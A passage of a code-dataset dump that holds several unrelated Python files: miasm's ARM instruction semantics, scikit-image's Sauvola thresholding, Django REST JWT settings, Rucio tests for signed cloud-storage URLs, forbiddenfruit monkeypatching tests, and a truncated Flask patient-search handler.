e.append(ExprAff(ir.IRDst, r))\n return e\n\n\ndef ubfx(ir, instr, a, b, c, d):\n e = []\n c = int(c.arg)\n d = int(d.arg)\n r = b[c:c+d].zeroExtend(32)\n e.append(ExprAff(a, r))\n dst = None\n if PC in a.get_r():\n dst = PC\n e.append(ExprAff(ir.IRDst, r))\n return e\n\ndef bfc(ir, instr, a, b, c):\n e = []\n start = int(b.arg)\n stop = start + int(c.arg)\n out = []\n last = 0\n if start:\n out.append((a[:start], 0, start))\n last = start\n if stop - start:\n out.append((ExprInt32(0)[last:stop], last, stop))\n last = stop\n if last < 32:\n out.append((a[last:], last, 32))\n r = ExprCompose(out)\n e.append(ExprAff(a, r))\n dst = None\n if PC in a.get_r():\n dst = PC\n e.append(ExprAff(ir.IRDst, r))\n return e\n\n\n\nCOND_EQ = 0\nCOND_NE = 1\nCOND_CS = 2\nCOND_CC = 3\nCOND_MI = 4\nCOND_PL = 5\nCOND_VS = 6\nCOND_VC = 7\nCOND_HI = 8\nCOND_LS = 9\nCOND_GE = 10\nCOND_LT = 11\nCOND_GT = 12\nCOND_LE = 13\nCOND_AL = 14\nCOND_NV = 15\n\ncond_dct = {\n COND_EQ: \"EQ\",\n COND_NE: \"NE\",\n COND_CS: \"CS\",\n COND_CC: \"CC\",\n COND_MI: \"MI\",\n COND_PL: \"PL\",\n COND_VS: \"VS\",\n COND_VC: \"VC\",\n COND_HI: \"HI\",\n COND_LS: \"LS\",\n COND_GE: \"GE\",\n COND_LT: \"LT\",\n COND_GT: \"GT\",\n COND_LE: \"LE\",\n COND_AL: \"AL\",\n # COND_NV: \"NV\",\n}\n\n\ntab_cond = {COND_EQ: zf,\n COND_NE: ExprCond(zf, ExprInt1(0), ExprInt1(1)),\n COND_CS: cf,\n COND_CC: ExprCond(cf, ExprInt1(0), ExprInt1(1)),\n COND_MI: nf,\n COND_PL: ExprCond(nf, ExprInt1(0), ExprInt1(1)),\n COND_VS: of,\n COND_VC: ExprCond(of, ExprInt1(0), ExprInt1(1)),\n COND_HI: cf & ExprCond(zf, ExprInt1(0), ExprInt1(1)),\n # COND_HI: cf,\n # COND_HI: ExprOp('==',\n # ExprOp('|', cf, zf),\n # ExprInt1(0)),\n COND_LS: ExprCond(cf, ExprInt1(0), ExprInt1(1)) | zf,\n COND_GE: ExprCond(nf - of, ExprInt1(0), ExprInt1(1)),\n COND_LT: nf ^ of,\n # COND_GT: ExprOp('|',\n # ExprOp('==', zf, ExprInt1(0)) & (nf | of),\n # ExprOp('==', nf, ExprInt1(0)) & ExprOp('==', of, ExprInt1(0))),\n COND_GT: (ExprCond(zf, ExprInt1(0), ExprInt1(1)) &\n ExprCond(nf - of, ExprInt1(0), ExprInt1(1))),\n COND_LE: zf | (nf ^ of),\n }\n\n\ndef is_pc_written(ir, instr_ir):\n all_pc = ir.mn.pc.values()\n for ir in instr_ir:\n if ir.dst in all_pc:\n return True, ir.dst\n return False, None\n\n\ndef add_condition_expr(ir, instr, cond, instr_ir):\n if cond == COND_AL:\n return instr_ir, []\n if not cond in tab_cond:\n raise ValueError('unknown condition %r' % cond)\n cond = tab_cond[cond]\n\n lbl_next = ExprId(ir.get_next_label(instr), 32)\n lbl_do = ExprId(ir.gen_label(), 32)\n\n dst_cond = ExprCond(cond, lbl_do, lbl_next)\n assert(isinstance(instr_ir, list))\n\n has_irdst = False\n for e in instr_ir:\n if e.dst == ir.IRDst:\n has_irdst = True\n break\n if not has_irdst:\n instr_ir.append(ExprAff(ir.IRDst, lbl_next))\n e_do = irbloc(lbl_do.name, [instr_ir])\n e = [ExprAff(ir.IRDst, dst_cond)]\n return e, [e_do]\n\nmnemo_func = {}\nmnemo_func_cond = {}\nmnemo_condm0 = {'add': add,\n 'sub': sub,\n 'eor': eor,\n 'and': l_and,\n 'rsb': rsb,\n 'adc': adc,\n 'sbc': sbc,\n 'rsc': rsc,\n\n 'tst': tst,\n 'teq': teq,\n 'cmp': l_cmp,\n 'cmn': cmn,\n 'orr': orr,\n 'mov': mov,\n 'movt': movt,\n 'bic': bic,\n 'mvn': mvn,\n 'neg': neg,\n\n 'mul': mul,\n 'mla': mla,\n 'ldr': ldr,\n 'ldrd': ldrd,\n 'str': l_str,\n 'strd': l_strd,\n 'b': b,\n 'bl': bl,\n 'svc': svc,\n 'und': und,\n 'bx': bx,\n 'ldrh': ldrh,\n 'strh': strh,\n 'ldrsh': ldrsh,\n 'ldsh': ldrsh,\n 'uxtb': uxtb,\n 'uxth': uxth,\n 'sxtb': sxtb,\n 'sxth': sxth,\n 'ubfx': ubfx,\n 'bfc': bfc,\n }\n\nmnemo_condm1 = {'adds': add,\n 'subs': subs,\n 'eors': eors,\n 'ands': l_and,\n 'rsbs': rsbs,\n 'adcs': adc,\n 'sbcs': sbcs,\n 'rscs': rscs,\n\n 'orrs': orrs,\n 'movs': movs,\n 'bics': bics,\n 'mvns': mvns,\n 'negs': negs,\n\n 'muls': muls,\n 'mlas': mlas,\n 'blx': blx,\n\n 'ldrb': ldrb,\n 'ldrsb': ldrsb,\n 'ldsb': ldrsb,\n 'strb': strb,\n }\n\nmnemo_condm2 = {'ldmia': ldmia,\n 'ldmib': ldmib,\n 'ldmda': ldmda,\n 'ldmdb': ldmdb,\n\n 'ldmfa': ldmda,\n 'ldmfd': ldmia,\n 'ldmea': ldmdb,\n 'ldmed': ldmib, # XXX\n\n\n 'stmia': stmia,\n 'stmib': stmib,\n 'stmda': stmda,\n 'stmdb': stmdb,\n\n 'stmfa': stmib,\n 'stmed': stmda,\n 'stmfd': stmdb,\n 'stmea': stmia,\n }\n\n\nmnemo_nocond = {'lsr': lsr,\n 'lsrs': lsrs,\n 'lsl': lsl,\n 'lsls': lsls,\n 'push': push,\n 'pop': pop,\n 'asr': asr,\n 'asrs': asrs,\n 'cbz': cbz,\n 'cbnz': cbnz,\n }\nmn_cond_x = [mnemo_condm0,\n mnemo_condm1,\n mnemo_condm2]\n\nfor index, mn_base in enumerate(mn_cond_x):\n for mn, mf in mn_base.items():\n for cond, cn in cond_dct.items():\n if cond == COND_AL:\n cn = \"\"\n cn = cn.lower()\n if index == 0:\n mn_mod = mn + cn\n else:\n mn_mod = mn[:-index] + cn + mn[-index:]\n # print mn_mod\n mnemo_func_cond[mn_mod] = cond, mf\n\nfor name, mf in mnemo_nocond.items():\n mnemo_func_cond[name] = COND_AL, mf\n\n\ndef split_expr_dst(ir, instr_ir):\n out = []\n dst = None\n for i in instr_ir:\n if i.dst == ir.pc:\n out.append(i)\n dst = ir.pc # i.src\n else:\n out.append(i)\n return out, dst\n\n\ndef get_mnemo_expr(ir, instr, *args):\n if not instr.name.lower() in mnemo_func_cond:\n raise ValueError('unknown mnemo %s' % instr)\n cond, mf = mnemo_func_cond[instr.name.lower()]\n instr_ir = mf(ir, instr, *args)\n instr, extra_ir = add_condition_expr(ir, instr, cond, instr_ir)\n return instr, extra_ir\n\nget_arm_instr_expr = get_mnemo_expr\n\n\nclass arminfo:\n mode = \"arm\"\n # offset\n\n\nclass ir_arml(ir):\n def __init__(self, symbol_pool=None):\n ir.__init__(self, mn_arm, \"l\", symbol_pool)\n self.pc = PC\n self.sp = SP\n self.IRDst = ExprId('IRDst', 32)\n\n def get_ir(self, instr):\n args = instr.args\n # ir = get_mnemo_expr(self, self.name.lower(), *args)\n if len(args) and isinstance(args[-1], ExprOp):\n if args[-1].op == 'rrx':\n args[-1] = ExprCompose(\n [(args[-1].args[0][1:], 0, 31), (cf, 31, 32)])\n elif (args[-1].op in ['<<', '>>', '<>', '<<<', '>>>'] and\n isinstance(args[-1].args[-1], ExprId)):\n args[-1].args = args[-1].args[:-1] + (\n args[-1].args[-1][:8].zeroExtend(32),)\n instr_ir, extra_ir = get_mnemo_expr(self, instr, *args)\n # if self.name.startswith('B'):\n # return instr_ir, extra_ir\n for i, x in enumerate(instr_ir):\n x = ExprAff(x.dst, x.src.replace_expr(\n {self.pc: ExprInt32(instr.offset + 8)}))\n instr_ir[i] = x\n for b in extra_ir:\n for irs in b.irs:\n for i, x in enumerate(irs):\n x = ExprAff(x.dst, x.src.replace_expr(\n {self.pc: ExprInt32(instr.offset + 8)}))\n irs[i] = x\n # return out_ir, extra_ir\n return instr_ir, extra_ir\n\n\nclass ir_armb(ir_arml):\n def __init__(self, symbol_pool=None):\n ir.__init__(self, mn_arm, \"b\", symbol_pool)\n self.pc = PC\n self.sp = SP\n self.IRDst = ExprId('IRDst', 32)\n\nclass ir_armtl(ir):\n def __init__(self, symbol_pool=None):\n ir.__init__(self, mn_armt, \"l\", symbol_pool)\n self.pc = PC\n self.sp = SP\n self.IRDst = ExprId('IRDst', 32)\n\n def get_ir(self, instr):\n return get_mnemo_expr(self, instr, *instr.args)\n\nclass ir_armtb(ir_armtl):\n def __init__(self, symbol_pool=None):\n ir.__init__(self, mn_armt, \"b\", symbol_pool)\n self.pc = PC\n self.sp = SP\n self.IRDst = ExprId('IRDst', 32)\n\n","sub_path":"miasm2/arch/arm/sem.py","file_name":"sem.py","file_ext":"py","file_size_in_byte":27831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"499719090","text":"\nimport itertools\nimport math\nimport numpy as np\nfrom scipy import ndimage as ndi\nfrom collections import OrderedDict\nfrom skimage.exposure import histogram\nfrom skimage._shared.utils import assert_nD, warn, deprecated\nfrom skimage.transform import integral_image\nfrom skimage.util import crop, dtype_limits\n\ndef threshold_sauvola(image, window_size=15, k=0.2, r=None):\n \"\"\"Applies Sauvola local threshold to an array. Sauvola is a\n modification of Niblack technique.\n In the original method a threshold T is calculated for every pixel\n in the image using the following formula::\n T = m(x,y) * (1 + k * ((s(x,y) / R) - 1))\n where m(x,y) and s(x,y) are the mean and standard deviation of\n pixel (x,y) neighborhood defined by a rectangular window with size w\n times w centered around the pixel. k is a configurable parameter\n that weights the effect of standard deviation.\n R is the maximum standard deviation of a greyscale image.\n Parameters\n ----------\n image: (N, M) ndarray\n Grayscale input image.\n window_size : int, optional\n Odd size of pixel neighborhood window (e.g. 3, 5, 7...).\n k : float, optional\n Value of the positive parameter k.\n r : float, optional\n Value of R, the dynamic range of standard deviation.\n If None, set to the half of the image dtype range.\n Returns\n -------\n threshold : (N, M) ndarray\n Threshold mask. All pixels with an intensity higher than\n this value are assumed to be foreground.\n Notes\n -----\n This algorithm is originally designed for text recognition.\n References\n ----------\n .. [1] J. Sauvola and M. Pietikainen, \"Adaptive document image\n binarization,\" Pattern Recognition 33(2),\n pp. 225-236, 2000.\n :DOI:`10.1016/S0031-3203(99)00055-2`\n Examples\n --------\n >>> from skimage import data\n >>> image = data.page()\n >>> t_sauvola = threshold_sauvola(image, window_size=15, k=0.2)\n >>> binary_image = image > t_sauvola\n \"\"\"\n if r is None:\n imin, imax = dtype_limits(image, clip_negative=False)\n r = 0.5 * (imax - imin)\n m, s = _mean_std(image, window_size)\n return m * (1 + k * ((s / r) - 1))\n\ndef _mean_std(image, w):\n \"\"\"Return local mean and standard deviation of each pixel using a\n neighborhood defined by a rectangular window with size w times w.\n The algorithm uses integral images to speedup computation. This is\n used by threshold_niblack and threshold_sauvola.\n Parameters\n ----------\n image : ndarray\n Input image.\n w : int\n Odd window size (e.g. 3, 5, 7, ..., 21, ...).\n Returns\n -------\n m : 2-D array of same size of image with local mean values.\n s : 2-D array of same size of image with local standard\n deviation values.\n References\n ----------\n .. [1] F. Shafait, D. Keysers, and T. M. Breuel, \"Efficient\n implementation of local adaptive thresholding techniques\n using integral images.\" in Document Recognition and\n Retrieval XV, (San Jose, USA), Jan. 2008.\n :DOI:`10.1117/12.767755`\n \"\"\"\n if w == 1 or w % 2 == 0:\n raise ValueError(\n \"Window size w = %s must be odd and greater than 1.\" % w)\n\n left_pad = w // 2 + 1\n right_pad = w // 2\n padded = np.pad(image.astype('float'), (left_pad, right_pad),\n mode='reflect')\n padded_sq = padded * padded\n\n integral = integral_image(padded)\n integral_sq = integral_image(padded_sq)\n\n kern = np.zeros((w + 1,) * image.ndim)\n for indices in itertools.product(*([[0, -1]] * image.ndim)):\n kern[indices] = (-1) ** (image.ndim % 2 != np.sum(indices) % 2)\n\n sum_full = ndi.correlate(integral, kern, mode='constant')\n m = crop(sum_full, (left_pad, right_pad)) / (w ** image.ndim)\n sum_sq_full = ndi.correlate(integral_sq, kern, mode='constant')\n g2 = crop(sum_sq_full, (left_pad, right_pad)) / (w ** image.ndim)\n # Note: we use np.clip because g2 is not guaranteed to be greater than\n # m*m when floating point error is considered\n s = np.sqrt(np.clip(g2 - m * m, 0, None))\n return m, s","sub_path":"sauvola.py","file_name":"sauvola.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"322626960","text":"REST_FRAMEWORK_TOKEN_EXPIRE_MINUTES = 60\n\nREST_FRAMEWORK_APPS = (\n 'rest_framework',\n 'rest_framework.authtoken',\n)\n\nAPPEND_SLASH=False\n\n# https://getblimp.github.io/django-rest-framework-jwt/\nfrom service.api.oauth.local_jwt.jwt_settings import LocalJSONWebTokenAuthentication\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n # 设置访问权限为只读\n # 'rest_framework.permissions.IsAuthenticatedOrReadOnly',\n # 设置访问权限为必须是用户\n 'rest_framework.permissions.IsAuthenticated',\n ),\n\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n # 'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n LocalJSONWebTokenAuthentication,\n 'rest_framework.authentication.BasicAuthentication',\n 'rest_framework.authentication.SessionAuthentication',\n # 增加 rest_framework_simplejwt ; 注释默认的 jwt\n #'rest_framework_simplejwt.authentication.JWTTokenUserAuthentication',\n ),\n\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n 'PAGE_SIZE': 10\n\n}\n\nfrom service.api.oauth.local_jwt.jwt_settings import JWT_AUTH\n\n## Simple-jwt 设置\n# from datetime import timedelta\n# from website.settings import SECRET_KEY\n#\n# SIMPLE_JWT = {\n# 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5),\n# 'REFRESH_TOKEN_LIFETIME': timedelta(days=1),\n# 'ROTATE_REFRESH_TOKENS': False,\n# 'BLACKLIST_AFTER_ROTATION': True,\n#\n# 'ALGORITHM': 'HS256',\n# 'SIGNING_KEY': SECRET_KEY,\n# 'VERIFYING_KEY': None,\n#\n# 'AUTH_HEADER_TYPES': ('Bearer', 'JWT'),\n# 'USER_ID_FIELD': 'id',\n# 'USER_ID_CLAIM': 'user_id',\n#\n# 'AUTH_TOKEN_CLASSES': ('rest_framework_simplejwt.tokens.AccessToken',),\n# 'TOKEN_TYPE_CLAIM': 'token_type',\n#\n# 'SLIDING_TOKEN_REFRESH_EXP_CLAIM': 'refresh_exp',\n# 'SLIDING_TOKEN_LIFETIME': timedelta(minutes=5),\n# 'SLIDING_TOKEN_REFRESH_LIFETIME': timedelta(days=1),\n# }\n#\n#\n# ## RestFrameWork 的Token黑名单\n# REST_FRAMEWORK_APPS += ('rest_framework_simplejwt.token_blacklist', )","sub_path":"web-backends/web/website/restframework.py","file_name":"restframework.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"606833660","text":"# Copyright 2018-2020 CERN for the benefit of the ATLAS collaboration.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# Authors:\n# - Mario Lassnig , 2018-2020\n# - Andrew Lister , 2019\n# - James Perry , 2019\n# - Hannes Hansen , 2019\n# - Martin Barisits , 2019\n# - Patrick Austin , 2020\n# - Benedikt Ziemons , 2020\n\nimport unittest\n\nimport pytest\n\nfrom rucio.client import client\nfrom rucio.common.config import config_get, config_get_bool\nfrom rucio.common.exception import UnsupportedOperation\nfrom rucio.common.types import InternalAccount, InternalScope\nfrom rucio.core.credential import get_signed_url\nfrom rucio.core.replica import add_replicas, delete_replicas\nfrom rucio.core.rse import add_rse, del_rse, add_protocol, add_rse_attribute\nfrom rucio.tests.common import rse_name_generator\n\n\nclass TestCredential(unittest.TestCase):\n\n def setUp(self):\n if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):\n self.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}\n else:\n self.vo = {}\n\n self.rc = client.ReplicaClient()\n self.rse1 = rse_name_generator()\n self.rse2 = rse_name_generator()\n self.rse1_id = add_rse(self.rse1, **self.vo)\n self.rse2_id = add_rse(self.rse2, **self.vo)\n\n add_protocol(self.rse1_id, {'scheme': 'https',\n 'hostname': 'storage.googleapis.com',\n 'port': 443,\n 'prefix': '/atlas-europe-west1/',\n 'impl': 'rucio.rse.protocols.gfal.Default',\n 'domains': {\n 'lan': {'read': 1, 'write': 1, 'delete': 1},\n 'wan': {'read': 1, 'write': 1, 'delete': 1, 'third_party_copy': 1}}})\n\n add_protocol(self.rse2_id, {'scheme': 'https',\n 'hostname': 'storage.googleapis.com',\n 'port': 443,\n 'prefix': '/atlas-europe-east1/',\n 'impl': 'rucio.rse.protocols.gfal.Default',\n 'domains': {\n 'lan': {'read': 1, 'write': 1, 'delete': 1},\n 'wan': {'read': 1, 'write': 1, 'delete': 1, 'third_party_copy': 1}}})\n\n # register some files there\n self.files = [{'scope': InternalScope('mock', **self.vo),\n 'name': 'file-on-gcs_%s' % i,\n 'bytes': 1234,\n 'adler32': 'deadbeef',\n 'meta': {'events': 666}} for i in range(0, 3)]\n root = InternalAccount('root', **self.vo)\n add_replicas(rse_id=self.rse1_id,\n files=self.files,\n account=root,\n ignore_availability=True)\n add_replicas(rse_id=self.rse2_id,\n files=self.files,\n account=root,\n ignore_availability=True)\n\n def tearDown(self):\n delete_replicas(rse_id=self.rse1_id, files=self.files)\n delete_replicas(rse_id=self.rse2_id, files=self.files)\n del_rse(rse_id=self.rse1_id)\n del_rse(rse_id=self.rse2_id)\n\n def test_sign_url_gcs(self):\n \"\"\" CREDENTIAL: Sign a URL for Google Cloud Storage \"\"\"\n\n pytest.raises(UnsupportedOperation, get_signed_url, self.rse1_id, 'fake-service', 'read', 'http://dummy')\n\n pytest.raises(UnsupportedOperation, get_signed_url, self.rse1_id, 'gcs', 'transmogrify', 'http://dummy')\n\n pytest.raises(UnsupportedOperation, get_signed_url, self.rse1_id, 'gcs', 'read', None)\n\n pytest.raises(UnsupportedOperation, get_signed_url, self.rse1_id, 'gcs', 'read', '')\n\n value = get_signed_url(self.rse1_id, 'gcs', 'read', 'http://storage/directory/file', lifetime=None)\n expected = ('https://storage.googleapis.com:443/directory/file?GoogleAccessId=rucio-test@rucio-test'\n '.iam.gserviceaccount.com&Expires=0&Signature=u9cBWowYX22sAyApH5YySD9h0m%2FbIPLHLgY'\n '0Db%2BQ4a0wICQ2PZzUfTuHXQF8dUbMJG04VH90U5EMzYg3qSUGyfnp6Jptnvgivf7iSHepJsYhyAYSBGs'\n 'bvTOqf%2BXMQHR5VTh06G8WriZPV2OgSJ61c8qY7k8h0ju4bwcdDMFD2CT933KsnYSVatLN3EfORonLLZv'\n 'Ydgf0WCQjUcVKRv8zY65HJS6ZKoCjhOqNBJNlpI6uR54MhmLN2CJWch1MnLIdO6bKfDup%2Bzkt8e9Xe9S'\n '8pTeva5cN8ZFlMkeCz7JvNkVJb1KPhI1XHPWyfuPUa2ALHh9wAD2yFSOU3cDiORFE6A%3D%3D')\n assert value == expected\n\n value = get_signed_url(self.rse1_id, 'gcs', 'write', 'http://storage/directory/file', lifetime=None)\n expected = ('https://storage.googleapis.com:443/directory/file?GoogleAccessId=rucio-test@rucio-test'\n '.iam.gserviceaccount.com&Expires=0&Signature=Gn%2FL0%2FjGkBIdpHZ9bKw7tvqRCdslC11gt'\n 'jbLk5AG2jA4Ywd6mTvOinUB%2BZxHY2I3XzEuMfyMnFj0vfXSemN6XmmcQkiQBhl6P3zr0GrOuO4y0xjKT'\n 'am1MijMKLKFS9pZ6BBYrFgwKcYUcGJmVpq0Fo%2Bl5pLovBKhJbi3RE0YbGTCDA5UEM6WuWLMcQiY8smfK'\n '6EH9bW5tAEs70vOwNNPPUm%2FbcNKnR4z6jqThXw2mn375L02SRPx1qQ853sZKHng6O4ydm%2BSW8i7rb1'\n '%2BnqImWDOdvmcLIZzc6x9l6b7ETOqSL2OqOCStpBHPzpQU0spgJS96IB09uGRQum1Ej2ui5g%3D%3D')\n assert value == expected\n\n value = get_signed_url(self.rse1_id, 'gcs', 'delete', 'http://storage/directory/file', lifetime=None)\n expected = ('https://storage.googleapis.com:443/directory/file?GoogleAccessId=rucio-test@rucio-test'\n '.iam.gserviceaccount.com&Expires=0&Signature=FVDNroX1epdTCv%2BC74o%2B8uWyvJXrqiIWg'\n 'kdcedaOoryhRMjuv%2FVdKecnhViY%2BGOP%2B0CoI1uFOHBz%2B%2Bm10U9A3i%2B1v7AZRN5L6nbbS%2'\n 'BJTk4oiSBMJ3FpNT9knbOVd4aSPdiBwfTybwpkWSzEb8cKQsqzrGZk4hVffipMOKkxj7UgMe%2F0DiwqyF'\n 'o3NZsey12b9TG2xPVCZ5mJdIvJY0E5KiqEGXVCVChEhecZEyP0cUxjs8xM%2BxhOJ%2BioPQzRsFwVKtVv'\n 'LXestniEGBMY8SY4UuthQVO1Kmq2hg30KcsgXpLzAFheK1tz0GunqPU7%2BYACZMuHj1Hp%2BTnvKNxVuJ'\n '5MT5g%3D%3D')\n assert value == expected\n\n def test_list_replicas_sign_url(self):\n \"\"\" CREDENTIAL: List replicas for an RSE where signature is enabled \"\"\"\n\n add_rse_attribute(rse_id=self.rse1_id, key='sign_url', value='gcs')\n replicas = [r for r in self.rc.list_replicas(dids=[{'scope': 'mock',\n 'name': f['name'],\n 'type': 'FILE'} for f in self.files],\n rse_expression=self.rse1)]\n found_pfns = [list(replica['pfns'].keys())[0] for replica in replicas]\n for pfn in found_pfns:\n assert '&Signature=' in pfn\n assert len(pfn) > 120\n\n replicas = [r for r in self.rc.list_replicas(dids=[{'scope': 'mock',\n 'name': f['name'],\n 'type': 'FILE'} for f in self.files],\n rse_expression=self.rse2)]\n found_pfns = [list(replica['pfns'].keys())[0] for replica in replicas]\n expected_pfns = ['https://storage.googleapis.com:443/atlas-europe-east1/mock/04/92/file-on-gcs_0',\n 'https://storage.googleapis.com:443/atlas-europe-east1/mock/c6/5f/file-on-gcs_1',\n 'https://storage.googleapis.com:443/atlas-europe-east1/mock/03/eb/file-on-gcs_2']\n assert sorted(found_pfns) == sorted(expected_pfns)\n","sub_path":"lib/rucio/tests/test_credential.py","file_name":"test_credential.py","file_ext":"py","file_size_in_byte":8432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"18886005","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/lincoln/src/github.com/clarete/forbiddenfruit/tests/unit/test_forbidden_fruit.py\n# Compiled at: 2019-04-20 09:10:53\n# Size of source mod 2**32: 7918 bytes\nimport sys\nfrom datetime import datetime\nfrom forbiddenfruit import curses, curse, reverse\nfrom types import FunctionType\nfrom nose.tools import nottest, istest\nfrom . import ffruit\n\ndef almost_equal(a, b, e=0.001):\n \"\"\"Helper method to compare floats\"\"\"\n return abs(a - b) < e\n\n\nskip_legacy = nottest if sys.version_info < (3, 3) else istest\n\ndef test_cursing_a_builting_class():\n\n def words_of_wisdom(self):\n return self * 'blah '\n\n curse(int, 'words_of_wisdom', words_of_wisdom)\n assert (2).words_of_wisdom() == 'blah blah '\n assert 'words_of_wisdom' in dir(int)\n\n\ndef test_cursing_a_builting_class_with_a_class_method():\n\n def hello(self):\n return 'blah'\n\n curse(str, 'hello', classmethod(hello))\n assert str.hello() == 'blah'\n assert 'hello' in dir(str)\n\n\ndef test_reversing_a_builtin():\n curse(str, 'stuff', property(lambda s: s * 2))\n reverse(str, 'stuff')\n assert 'stuff' not in dir(str)\n\n\ndef test_dir_filtering():\n curse(str, 'my_stuff', 'blah', hide_from_dir=True)\n assert str.my_stuff == 'blah'\n assert 'my_stuff' not in dir(str)\n\n\ndef test_dir_filtering_same_symbol_different_type():\n curse(str, 'attr_x', 'blah', hide_from_dir=True)\n curse(int, 'attr_x', 'blah')\n assert str.attr_x == 'blah'\n assert 'attr_x' not in dir(str)\n assert int.attr_x == 'blah'\n assert 'attr_x' in dir(int)\n\n\ndef test_dir_filtering_same_symbol_different_instance():\n curse(str, 'attr_y', 'stuff', hide_from_dir=True)\n curse(int, 'attr_y', 'stuff')\n assert 'Hello'.attr_y == 'stuff'\n assert 'attr_y' not in dir('hello')\n assert (1).attr_y == 'stuff'\n assert 'attr_y' in dir(1)\n\n\ndef test_overriding_class_method():\n curse(datetime, 'now', classmethod(lambda *p: False))\n assert '_c_now' in dir(datetime)\n assert datetime.now() is False\n assert datetime(2013, 4, 5).now() is False\n\n\ndef test_overriding_instance_method():\n obj = ffruit.Dummy()\n curse(ffruit.Dummy, 'my_method', lambda *a, **k: 'Yo!')\n assert obj.my_method() == 'Yo!'\n\n\ndef test_overriding_non_c_things():\n \"\"\"The `curse` function should not blow up on non-c python objs\"\"\"\n\n class Yo(object):\n pass\n\n obj = Yo()\n curse(Yo, 'my_method', lambda *a, **k: 'YoYo')\n assert obj.my_method() == 'YoYo'\n\n\ndef test_overriding_list_append():\n \"\"\"The `curse` function should be able to curse existing symbols\"\"\"\n obj = []\n fn = lambda self, v: self._c_append(v) or self\n foo = curse(list, 'append', fn)\n assert obj.append(1) == [1]\n assert obj.append(2) == [1, 2]\n assert 1 in obj\n assert 2 in obj\n\n\ndef test_curses_decorator():\n \"\"\"curses() should curse a given klass with the decorated function\"\"\"\n\n @curses(str, 'md_title')\n def markdown_title(self):\n return '# %s' % self.title()\n\n assert 'lincoln'.md_title() == '# Lincoln'\n\n\ndef test_dir_without_args_returns_names_in_local_scope():\n \"\"\"dir() without arguments should return the names from the local scope\n of the calling frame, taking into account any indirection added\n by __filtered_dir__\n \"\"\"\n z = 1\n some_name = 42\n assert 'some_name' in dir()\n assert dir() == sorted(locals().keys())\n\n\n@skip_legacy\ndef test_dunder_func_chaining():\n \"\"\"Overload * (mul) operator to to chaining between functions\"\"\"\n\n def matmul_chaining(self, other):\n if not isinstance(other, FunctionType):\n raise NotImplementedError()\n\n def wrapper(*args, **kwargs):\n res = other(*args, **kwargs)\n if hasattr(res, '__iter__'):\n return self(*res)\n return self(res)\n\n return wrapper\n\n curse(FunctionType, '__mul__', matmul_chaining)\n f = lambda x, y: x * y\n g = lambda x: (x, x)\n squared = f * g\n for i in range(0, 10, 2):\n assert squared(i) == i ** 2\n\n\n@skip_legacy\ndef test_dunder_list_map():\n \"\"\"Overload * (__mul__) operator to apply function to a list\"\"\"\n\n def map_list(func, list_):\n if not callable(func):\n raise NotImplementedError()\n return map(func, list_)\n\n curse(list, '__mul__', map_list)\n list_ = list(range(10))\n times_2 = lambda x: x * 2\n assert list(times_2 * list_) == list(range(0, 20, 2))\n\n\n@skip_legacy\ndef test_dunder_unary():\n \"\"\"Overload ~ operator to compute a derivative of function\"\"\"\n\n def derive_func(func):\n e = 0.001\n\n def wrapper(x):\n x_0 = x - e\n x_1 = x + e\n y_delta = func(x_1) - func(x_0)\n return y_delta / (2 * e)\n\n return wrapper\n\n curse(FunctionType, '__inv__', derive_func)\n f = lambda x: x ** 2 + x\n f_ = lambda x: 2 * x + 1\n assert almost_equal(~f(10), f_(10))\n\n\n@skip_legacy\ndef test_sequence_dunder():\n\n def derive_func(func, deriv_grad):\n if deriv_grad == 0:\n return func\n e = 1e-07\n\n def wrapper(x):\n return (func(x + e) - func(x - e)) / (2 * e)\n\n if deriv_grad == 1:\n return wrapper\n return wrapper[(deriv_grad - 1)]\n\n curse(FunctionType, '__getitem__', derive_func)\n f = lambda x: x ** 3 - 2 * x ** 2\n f_1 = lambda x: 3 * x ** 2 - 4 * x\n f_2 = lambda x: 6 * x - 4\n for x in range(0, 10):\n x = float(x) / 10.0\n assert almost_equal(f(x), f[0](x))\n assert almost_equal(f_1(x), f[1](x))\n assert almost_equal((f_2(x)), (f[2](x)), e=0.01)\n\n\n@skip_legacy\ndef test_dunder_list_revert():\n \"\"\"Test reversion of a curse with dunders\"\"\"\n\n def map_list(func, list_):\n if not callable(func):\n raise NotImplementedError()\n return map(func, list_)\n\n curse(list, '__add__', map_list)\n list_ = list(range(10))\n times_2 = lambda x: x * 2\n assert list(times_2 + list_) == list(range(0, 20, 2))\n reverse(list, '__add__')\n try:\n times_2 + list_\n except TypeError:\n pass\n else:\n assert False","sub_path":"pycfiles/forbiddenfruit-0.1.3.tar/test_forbidden_fruit.cpython-37.py","file_name":"test_forbidden_fruit.cpython-37.py","file_ext":"py","file_size_in_byte":6239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"643763618","text":"import logging\nfrom flask import request, session\nfrom resources import *\nfrom flask_restful import Resource\nfrom config.auth import *\nfrom error.errors import *\nfrom database.database import db\nfrom models import *\n\n# handler for searching patients\nclass SearchPatient(Resource):\n @login_required\n def get(self): \n return EMPTY\n\n @login_required\n def post(self):\n role = session['role']\n if role == 'patient':\n return UNAUTHORIZED\n try:\n 